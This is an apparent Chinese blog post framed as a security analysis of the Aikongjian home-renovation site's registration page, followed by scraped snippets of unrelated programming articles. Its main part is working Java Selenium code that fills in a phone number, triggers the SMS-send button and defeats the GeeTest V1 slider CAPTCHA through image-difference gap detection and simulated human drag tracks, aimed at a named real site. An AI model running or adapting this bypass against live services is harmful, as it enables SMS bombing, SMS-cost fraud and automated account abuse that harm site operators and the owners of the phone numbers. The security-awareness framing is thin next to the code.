【爱空间_登录安全分析报告】
前言
由于网站注册入口容易被黑客攻击,存在如下安全问题:
- 暴力破解密码,造成用户信息泄露
- 短信盗刷的安全问题,影响业务及导致用户投诉
- 带来经济损失,尤其是后付费客户,风险巨大,造成亏损无底洞

所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案, 但在机器学习能力提高的当下,连百度这样的大厂都遭受攻击导致点名批评, 图形验证及交互验证方式的安全性到底如何? 请看具体分析
一、 爱空间 PC 注册入口
简介:爱空间,2014年创立, [1]在中国大陆地区的14个主要城市设有分公司及家装体验馆,员工规模近7,000人。 [57]爱空间致力于通过科技创新,建设以“供应链、信息化系统、产业化工人”三大基础设施为支柱的标准化一站式整体家装解决方案。先后获得顺为资本、国美资本数亿元投资,通过让消费者安全放心的儿童级环保标准、33天准时完工的品效合一、100%直管施工团队等颠覆性创新模式,成为家装行业口碑最好的企业之一。 [47]2020年提出“让爱有空间,让空间有爱”的全新企业使命。

二、 安全性分析报告:
采用极验的 V1版本(knob),容易被模拟器绕过甚至逆向后暴力攻击,滑动拼图识别率在 95% 以上。

三、 测试方法:
前端界面分析, 采用的是极验1.0 ,最早的一个版本, 最大特点就是将图片做分割后,在前端再做合并,这就好办了, 网上有大量现成的逆向文章及视频参考,不过我们这次不用逆向, 只是采用模拟器的方式,关键点主要模拟器交互、距离识别和轨道算法3部分。

- 模拟器交互部分
public RetEntity send(WebDriver driver, String areaCode, String phone) {try {driver.get(smsUrl);// 输入手机号WebElement phoneInput = driver.findElement(By.name("mobile"));phoneInput.clear();for (int i = 0, l = phone.length(); i < l; i++) {phoneInput.sendKeys(String.valueOf(phone.charAt(i)));phoneInput.click();}Thread.sleep(500);// 点击发送验证码WebElement sendBtn = GeeSplitApi.waitForLoad(driver, By.className("sendSMS"), 5);sendBtn.click();geetApi.gtSliderKnob(driver, 0);return null;} catch (Exception e) {System.out.println(e.toString());return null;}}
- 获取滑动图片及调用移动交互
public boolean gtSliderKnob(WebDriver driver, Integer offSet) {try {// 获取滑动按钮By moveBy = By.cssSelector("[class='gt_slider_knob gt_show']");GeetSplitApi.waitForLoad(driver, moveBy);WebElement moveElement = driver.findElement(moveBy);int i = 0;String gtInfo;while (i++ < 3) {try {// 获取滑动距离int distance = GeetSplitApi.getMoveDistance(driver);if (distance == 0) {gtInfo = "get distance err";continue;}// 滑动if (offSet != null)ActionMove.move(driver, moveElement, distance - offSet);elseActionMove.move(driver, moveElement, distance);// 滑动结果Thread.sleep(2 * 1000);By gtInfoBy = By.className("gt_info_content");gtInfo = driver.findElement(gtInfoBy).getAttribute("innerHTML");System.out.println();if (gtInfo.isEmpty() || gtInfo.contains("速度超过")) {return true;} else if (gtInfo.contains("出现错误")) {gtInfo = "no success,try time=" + 3;continue;}} catch (Exception e) {continue;}}return false;} catch (Exception e) {System.out.println("getAndMove() " + e.toString());logger.error(e.toString());return false;}}
2. 距离识别
/*** 计算需要平移的距离* * @param fullImgPath* 完整背景图片文件名* @param bgImgPath含有缺口背景图片文件名* @return* @throws IOException*/public static int getMoveDistance(String fullImgPath, String bgImgPath) {System.out.println("fullImgPath=" + fullImgPath);File fullFile = new File(fullImgPath);File bgFile = new File(bgImgPath);boolean fullExists = fullFile.exists();boolean bgExists = bgFile.exists();if (fullExists && bgExists) {String abPath = bgFile.getAbsolutePath();int l = abPath.lastIndexOf(".");String out = abPath.substring(0, l) + "-o" + abPath.substring(l);return getComareImg(fullFile, bgFile, out);} else {System.out.println("fullExists(" + fullImgPath + ")=" + fullExists + "\nbgExists(" + bgImgPath + ")=" + bgExists);return -1;}}
/*** 计算需要平移的距离* * @param driver* @param fullImgPath完整背景图片文件名* @param bgImgPath含有缺口背景图片文件名* @return* @throws IOException*/private static int getComareImg(Object fullObj, Object bgObj, String out) {System.out.println("getComareImg() begin");try {if (fullObj == null || bgObj == null) {return -1;}BufferedImage fullBI = (fullObj instanceof File) ? ImageIO.read((File) fullObj) : ImageIO.read((ByteArrayInputStream) fullObj);BufferedImage bgBI = (bgObj instanceof File) ? ImageIO.read((File) bgObj) : ImageIO.read((ByteArrayInputStream) bgObj);List<Integer> list;Color ca, cb;Map<Integer, List<Integer>> xMap = new TreeMap<Integer, List<Integer>>();// 将头35列的最大不同值取出, 作为右边图像的基础差Long tifTotl = 0L;int tifLeft = 0;int tifCount = 0;for (int i = 0; i < bgBI.getWidth(); i++) {for (int j = 0; j < bgBI.getHeight(); j++) {ca = new Color(fullBI.getRGB(i, j));cb = new Color(bgBI.getRGB(i, j));int diff = diff(ca, cb);if (i <= 35 && tifLeft < diff) {tifLeft = (diff >= 255) ? 255 : diff;} else if (diff > tifLeft) {tifTotl += diff;tifCount++;}}}Long tifAvg = (tifCount > 0) ? (tifTotl / tifCount) : 0L;if (tifLeft <= 0 && tifAvg >= 2) {tifAvg = tifAvg / 2;}for (int i = 35; i < bgBI.getWidth(); i++) {for (int j = 0; j < bgBI.getHeight(); j++) {ca = new Color(fullBI.getRGB(i, j));cb = new Color(bgBI.getRGB(i, j));int diff = diff(ca, cb);if (diff >= tifAvg) {list = xMap.get(i);if (list == null) {list = new ArrayList<Integer>();xMap.put(i, list);}list.add(j);xMap.put(i, list);}}}System.out.println(" |--tifLeft=" + tifLeft + ",tifTotl=" + tifTotl + ",tifCount=" + tifCount + ",tifAvg=" + tifAvg + ",xMap.size=" + xMap.size());int minX = 0;int maxX = 0;for (Integer x : xMap.keySet()) {list = xMap.get(x);minX = (minX == 0) ? x : minX;maxX = x;for (int y : list) {cb = new Color(bgBI.getRGB(x, y));int gray = (int) (0.3 * cb.getRed() + 0.59 * cb.getGreen() + 0.11 * cb.getBlue());bgBI.setRGB(x, y, gray);}}// 标记直线位置for (int y = 0; y < bgBI.getHeight(); y++) {bgBI.setRGB(minX, y, Color.red.getRGB());}int width = maxX - minX;File destFile = new File(out);Thumbnails.of(bgBI).scale(1f).toFile(destFile);System.out.println(" |---xMap.size=" + xMap.size() + " minX=" + minX + ",maxX=" + maxX + ",width=" + width);return minX;} catch (Exception e) {System.out.println(e.toString());for (StackTraceElement elment : e.getStackTrace()) {System.out.println(elment.toString());}logger.error("getMoveDistance() err = " + e.toString());return 0;}}private static int diff(Color ca, Color cb) {int d = Math.abs(ca.getRed() - cb.getRed()) + Math.abs(ca.getGreen() - cb.getGreen()) + Math.abs(ca.getBlue() - ca.getBlue());return d;}
3. 轨道生成及移动算法
/*** 双轴轨道生成算法,主要实现平滑加速和减速* * @param distance* @return*/public static List<Integer[]> getXyTrack(int distance) {List<Integer[]> track = new ArrayList<Integer[]>();// 移动轨迹try {int a = (int) (distance / 3.0) + random.nextInt(10);int h = 0, current = 0;// 已经移动的距离BigDecimal midRate = new BigDecimal(0.7 + (random.nextInt(10) / 100.00)).setScale(4, BigDecimal.ROUND_HALF_UP);BigDecimal mid = new BigDecimal(distance).multiply(midRate).setScale(0, BigDecimal.ROUND_HALF_UP);// 减速阈值BigDecimal move = null;// 每次循环移动的距离List<Integer[]> subList = new ArrayList<Integer[]>();// 移动轨迹boolean plus = true;Double t = 0.18, v = 0.00, v0;while (current <= distance) {h = random.nextInt(2);if (current > distance / 2) {h = h * -1;}v0 = v;v = v0 + a * t;move = new BigDecimal(v0 * t + 1 / 2 * a * t * t).setScale(4, BigDecimal.ROUND_HALF_UP);// 加速if (move.intValue() < 1)move = new BigDecimal(1L);if (plus) {track.add(new Integer[] { move.intValue(), h });} else {subList.add(0, new Integer[] { move.intValue(), h });}current += move.intValue();if (plus && current >= mid.intValue()) {plus = false;move = new BigDecimal(0L);v = 0.00;}}track.addAll(subList);int bk = current - distance;if (bk > 0) {for (int i = 0; i < bk; i++) {track.add(new Integer[] { -1, h });}}System.out.println("getMoveTrack(" + midRate + ") a=" + a + ",distance=" + distance + " -> mid=" + mid.intValue() + " size=" + track.size());return track;} catch (Exception e) {System.out.print(e.toString());return null;}}
/*** 模拟人工移动* * @param driver* @param element页面滑块* @param distance需要移动距离* @throws InterruptedException*/public static void move(WebDriver driver, WebElement element, int distance) throws InterruptedException {List<Integer[]> track = getXyTrack(distance);if (track == null || track.size() < 1) {System.out.println("move() track=" + track);}int moveY, moveX;StringBuffer sb = new StringBuffer();try {Actions actions = new Actions(driver);actions.clickAndHold(element).perform();Thread.sleep(20);long begin, cost;Integer[] move;int sum = 0;for (int i = 0; i < track.size(); i++) {begin = System.currentTimeMillis();move = track.get(i);moveX = move[0];sum += moveX;moveY = move[1];if (moveX < 0) {if (sb.length() > 0) {sb.append(",");}sb.append(moveX);}actions.moveByOffset(moveX, moveY).perform();cost = System.currentTimeMillis() - begin;if (cost < 3) {Thread.sleep(3 - cost);}}if (sb.length() > 0) {System.out.println("-----backspace[" + sb.toString() + "]sum=" + sum + ",distance=" + distance);}Thread.sleep(180);actions.release(element).perform();Thread.sleep(500);} catch (Exception e) {StringBuffer er = new StringBuffer("move() " + e.toString() + "\n");for (StackTraceElement elment : e.getStackTrace())er.append(elment.toString() + "\n");logger.error(er.toString());System.out.println(er.toString());}}
- 图片比对结果测试样例:

四丶结语
爱空间作为房屋装修行业的巨头, 采用的是通俗的滑动验证产品, 在一定程度上提高了用户体验, 不过随着图形识别技术及机器学习能力的提升,所以在网上破解的文章和教学视频也是大量存在,并且经过验证的确有效, 所以除了滑动验证方式, 花样百出的产品层出不穷,但本质就是牺牲用户体验来提高安全。
很多人在短信服务刚开始建设的阶段,可能不会在安全方面考虑太多,理由有很多。
比如:“ 需求这么赶,当然是先实现功能啊 ”,“ 业务量很小啦,系统就这么点人用,不怕的 ” , “ 我们怎么会被盯上呢,不可能的 ”等等。有一些理由虽然有道理,但是该来的总是会来的。前期欠下来的债,总是要还的。越早还,问题就越小,损失就越低。
所以大家在安全方面还是要重视。(血淋淋的栗子!)#安全短信#
戳这里→康康你手机号在过多少网站注册过!!!
谷歌图形验证码在AI 面前已经形同虚设,所以谷歌宣布退出验证码服务, 那么当所有的图形验证码都被破解时,大家又该如何做好防御呢?
>>相关阅读
《腾讯防水墙滑动拼图验证码》
《百度旋转图片验证码》
《网易易盾滑动拼图验证码》
《顶象区域面积点选验证码》
《顶象滑动拼图验证码》
《极验滑动拼图验证码》
《使用深度学习来破解 captcha 验证码》
《验证码终结者-基于CNN+BLSTM+CTC的训练部署套件》
相关文章:
【爱空间_登录安全分析报告】
前言 由于网站注册入口容易被黑客攻击,存在如下安全问题: 暴力破解密码,造成用户信息泄露短信盗刷的安全问题,影响业务及导致用户投诉带来经济损失,尤其是后付费客户,风险巨大,造成亏损无底洞 …...
web前端三大主流框架
一、介绍 目前,前端开发领域的三大主流框架是: React:React是由Facebook开发并维护的开源JavaScript库,用于构建用户界面。它提供了一种声明式的组件化开发方式,能够高效地创建交互性的用户界面。React具有高性能、可…...
git获取的项目无法运行
一、Unsupported engine 问题:在使用命令npm install下载依赖项的时候就遇到了这个问题,有帖子说多试几次,其实这是提示node版本问题,版本的更新出现兼容性问题,多试几次也没用。 解决方案: 更新node.js的…...
java 原生http服务器 测试JS前端ajax访问实现跨域
后端 package Httpv3;import com.sun.net.httpserver.Headers; import com.sun.net.httpserver.HttpExchange; import com.sun.net.httpserver.HttpHandler; import com.sun.net.httpserver.HttpServer;import java.io.IOException; import java.io.OutputStream; import java…...
捋一捋C++中的逻辑运算(一)——表达式逻辑运算
注意,今天要谈的逻辑运算是C语言编程中的“与或非”逻辑运算,不是数学集合中的“交并补”逻辑运算。而编程中的逻辑运算又包括表达式逻辑运算和位逻辑运算,本章介绍表达式逻辑运算,下一章介绍位逻辑运算。 目录 一、几个基本的概…...
qcom 平台系统签名流程
security boot 平台的东东,oem 可定制的功能有限,只能参考平台文档,可以在高通的网站上搜索:Secure Boot Enablement,然后找对应平台的文档xxx-Secure Boot Enablement User Guide, step by step 操作即可 开机校验流…...
从零开始实现自己的串口调试助手(5) -实现HEX显示/发送/接收
实现HEX显示: HEX 显示 -- 其实就是 十六进制显示 --> a - 97(10) --> 61(16) 添加槽函数(bool): 实现槽函数: 注意: 注意QString 没有处理HEX显示的相关API 需要使用 toUtf-8 来 转换位QByteArry 类型, 利用其中的API 来处理HEX格式(toHex fromHex) vo…...
【计算机毕设】基于SpringBoot的民宿在线预定平台设计与实现 - 源码免费(私信领取)
免费领取源码 | 项目完整可运行 | v:chengn7890 诚招源码校园代理! 1. 研究目的 本研究旨在设计并实现一个基于SpringBoot的民宿在线预定平台。通过信息化手段提高民宿预定效率,方便用户查询房源、预定房间、在线支付和…...
大数据—数据分析概论
一、什么是数据分析 数据分析是指使用统计、数学、计算机科学和其他技术手段对数据进行清洗、转换、建模和解释的过程,以提取有用的信息、发现规律、支持决策和解决问题。数据分析可以应用于各种领域,包括商业、医学、工程、社会科学等。 二、数据分析步…...
centos7下卸载MySQL,Oracle数据库
📑打牌 : da pai ge的个人主页 🌤️个人专栏 : da pai ge的博客专栏 ☁️宝剑锋从磨砺出,梅花香自苦寒来 操作系统版本为CentOS 7 使⽤ MySQ…...
Spring解决循环依赖
Spring框架为了解决循环依赖问题,设计了一套三级缓存机制: 一级缓存singletonObjects:这个是最常规的缓存,用于存放完成初始化好的bean,如果某个bean已经在这个缓存了直接返回。二级缓存earlySigletonObjects:这个用于存放早期暴…...
RUST运算符重载
在 Rust 中,可以使用特征(traits)来实现运算符重载。运算符重载是通过实现相应的运算符特征(如 Add、Sub、Mul 等)来完成的。这些特征定义在 std::ops 模块中。下面是一个简单的示例,展示如何为一个自定义结…...
描述一下 Array.forEach() 循环和 Array.map() 方法之间的主要区别
Array.forEach() 和 Array.map() 都是 JavaScript 数组中常用的方法,但它们之间有一些重要的区别: 返回值:forEach():没有返回值,它只是对数组中的每个元素执行提供的函数。map():返回一个新的数组,其元素是通过对原数组的每个元素执行提供的函数后的结…...
在GEE中显示矢量或栅格数据的边界(包含样式设计)
需要保证最后显示的数据是一个 FeatureCollection 对象。 如果数据是一个 Geometry 或 Image,我们也可以使用 style 方法来设置样式并将其添加到地图上。以下是针对不同类型对象的处理方式: 1 Geometry对象 如果 table 是一个 Geometry 对象ÿ…...
django使用fetch上传文件
在上一篇文章中,我包装了fetch方法,使其携带cookie。但是之前fetch传递的是json数据,现在有了一个上传文件的需求,因此需要进行修改: const sendRequest (url, method, data) > {const csrftoken Cookies.get(cs…...
linux安装docker步骤
步骤1 脚本自动安装 curl -fsSL https://get.docker.com -o get-docker.sh sudo sh get-docker.sh 步骤2 启动Docker服务: sudo systemctl start docker 步骤3 验证Docker是否正确安装并运行一个容器: sudo docker run hello-world 安装正确,则可拉取镜像&am…...
Unity DOTS技术(一)简介
文章目录 一.概述二.将会介绍的内容三.DOTS技术与传统方式的不同传统问题DOTS技术 四.插件安装 一.概述 传统的游戏开发中,如果有成千上万的物体在场景中运动,那么你一定会认为是疯了.但有了Dost技术这一些都将变成可能.如图场景中有10000个物体在同时运动,帧率即能保持在60Fp…...
深度解读ChatGPT基本原理
一、基本原理 ChatGPT是一个基于深度学习的自然语言生成模型,使用了类似于GPT(Generative Pre-trained Transformer)的架构。GPT是由OpenAI开发的一种语言模型,能够生成与输入文本相关的连续性文本。 ChatGPT的基本原理是先使用…...
python实现——分类类型数据挖掘任务(图形识别分类任务)
分类类型数据挖掘任务 基于卷积神经网络(CNN)的岩石图像分类。有一岩石图片数据集,共300张岩石图片,图片尺寸224x224。岩石种类有砾岩(Conglomerate)、安山岩(Andesite)、花岗岩&am…...
【安卓跨进程通信IPC】-- Binder
目录 BinderBinder是什么?进程空间分配进程隔离Binder跨进程通信机制模型优点AIDL常见面试题 Binder 夯实基础之超详解Android Binder的工作方式与原理以及aidl示例代码 比较详细的介绍:Android跨进程通信:图文详解 Binder机制 原理 操作系统…...
网络编程(Modbus进阶)
思维导图 Modbus RTU(先学一点理论) 概念 Modbus RTU 是工业自动化领域 最广泛应用的串行通信协议,由 Modicon 公司(现施耐德电气)于 1979 年推出。它以 高效率、强健性、易实现的特点成为工业控制系统的通信标准。 包…...
springboot 百货中心供应链管理系统小程序
一、前言 随着我国经济迅速发展,人们对手机的需求越来越大,各种手机软件也都在被广泛应用,但是对于手机进行数据信息管理,对于手机的各种软件也是备受用户的喜爱,百货中心供应链管理系统被用户普遍使用,为方…...
SciencePlots——绘制论文中的图片
文章目录 安装一、风格二、1 资源 安装 # 安装最新版 pip install githttps://github.com/garrettj403/SciencePlots.git# 安装稳定版 pip install SciencePlots一、风格 简单好用的深度学习论文绘图专用工具包–Science Plot 二、 1 资源 论文绘图神器来了:一行…...
Golang dig框架与GraphQL的完美结合
将 Go 的 Dig 依赖注入框架与 GraphQL 结合使用,可以显著提升应用程序的可维护性、可测试性以及灵活性。 Dig 是一个强大的依赖注入容器,能够帮助开发者更好地管理复杂的依赖关系,而 GraphQL 则是一种用于 API 的查询语言,能够提…...
项目部署到Linux上时遇到的错误(Redis,MySQL,无法正确连接,地址占用问题)
Redis无法正确连接 在运行jar包时出现了这样的错误 查询得知问题核心在于Redis连接失败,具体原因是客户端发送了密码认证请求,但Redis服务器未设置密码 1.为Redis设置密码(匹配客户端配置) 步骤: 1).修…...
服务器--宝塔命令
一、宝塔面板安装命令 ⚠️ 必须使用 root 用户 或 sudo 权限执行! sudo su - 1. CentOS 系统: yum install -y wget && wget -O install.sh http://download.bt.cn/install/install_6.0.sh && sh install.sh2. Ubuntu / Debian 系统…...
在 Spring Boot 项目里,MYSQL中json类型字段使用
前言: 因为程序特殊需求导致,需要mysql数据库存储json类型数据,因此记录一下使用流程 1.java实体中新增字段 private List<User> users 2.增加mybatis-plus注解 TableField(typeHandler FastjsonTypeHandler.class) private Lis…...
破解路内监管盲区:免布线低位视频桩重塑停车管理新标准
城市路内停车管理常因行道树遮挡、高位设备盲区等问题,导致车牌识别率低、逃费率高,传统模式在复杂路段束手无策。免布线低位视频桩凭借超低视角部署与智能算法,正成为破局关键。该设备安装于车位侧方0.5-0.7米高度,直接规避树枝遮…...
【Linux】Linux安装并配置RabbitMQ
目录 1. 安装 Erlang 2. 安装 RabbitMQ 2.1.添加 RabbitMQ 仓库 2.2.安装 RabbitMQ 3.配置 3.1.启动和管理服务 4. 访问管理界面 5.安装问题 6.修改密码 7.修改端口 7.1.找到文件 7.2.修改文件 1. 安装 Erlang 由于 RabbitMQ 是用 Erlang 编写的,需要先安…...
数据结构第5章:树和二叉树完全指南(自整理详细图文笔记)
名人说:莫道桑榆晚,为霞尚满天。——刘禹锡(刘梦得,诗豪) 原创笔记:Code_流苏(CSDN)(一个喜欢古诗词和编程的Coder😊) 上一篇:《数据结构第4章 数组和广义表》…...
